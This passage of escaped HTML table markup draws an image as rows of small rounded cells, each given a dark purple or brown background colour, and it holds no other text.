&lt;td style=&quot;background-color: #140c25; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #261828; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6d4a2f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #875c30; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a77b3a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b98d42; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9a6b35; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #86542d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #94602f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9e6931; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #aa7633; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a67232; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #946230; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a87435; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #88572a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #643520; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #703924; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #844326; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7a4120; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5f311a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #603019; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #683418; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6e3816; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #572918; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #562818; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #542417; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #471d19; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4c1f1a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #38161b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #13091d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #0e0b22; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #0e0a1f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #160f24; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1a142a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #18152b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1f1c31; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1e172b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #251b2f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3b222d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4c2e35; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #281f36; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1c142c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1a132b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1e172c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1f142a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1f1328; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #211328; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #231426; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1e1227; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1a1127; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #100925; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4f2f29; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8a532a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #906232; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9c6f36; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b4853d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b6863b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #92602f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #764529; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #85522b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #87562b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #97642f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a77332; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #815129; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #87552a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #945827; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #67371f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4c241e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #57281d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #48241b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4a241c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #401e1b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #512819; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #532918; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3a1a19; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #401d18; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #351719; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #31111a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2d101a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #11081b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #0b081c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #0e0a1d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #110f24; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #161327; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #171327; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1e172b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #23192c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2c2133; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #40232b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #593130; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #201830; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #150f2a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #140d28; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1b1027; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1d1128; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1f1327; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #211326; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1f1226; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1f1125; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #251326; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #211327; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #542d26; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #814d29; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #81532e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #92602f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #af7e35; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9a6731; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7b4928; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #653926; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #532b24; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5e3624; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5e3222; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #713e25; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #754325; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5d2f23; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5e3024; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7a4225; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5e2d1f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #34171a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2e151b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #371719; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #27111a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #29121b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #29141b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #27121b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2a131c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #29111a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1a0b19; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #160919; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #0d071a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #0c071a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #0d091c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #110c20; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1a1022; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1f1426; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1c1528; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #271829; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2e2030; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #39202c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4b2a30; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #20142c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #160e28; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1a0f28; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1e1127; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1c1127; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #170f26; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #160e25; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #160d24; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1a0e24; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1f1125; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #271727; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #321c29; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4d2626; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #703e26; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9a652d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7b4e29; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4f2821; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #492623; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #472623; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #432221; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #442321; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #482621; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4b2a23; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #412322; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #412120; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3a1b1e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2b131f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #31151f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #190c1e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #190b1c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #180a1b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #12091c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #12091c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #120a1c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #150a1c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #13091c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #11081a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #110919; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #0c0719; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #0c0719; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #0d0719; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #11081b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #170c1e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1c1021; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1b1022; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #241424; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #281726; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #29192a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2e1a2a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #391f2d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #23182e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1e122a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
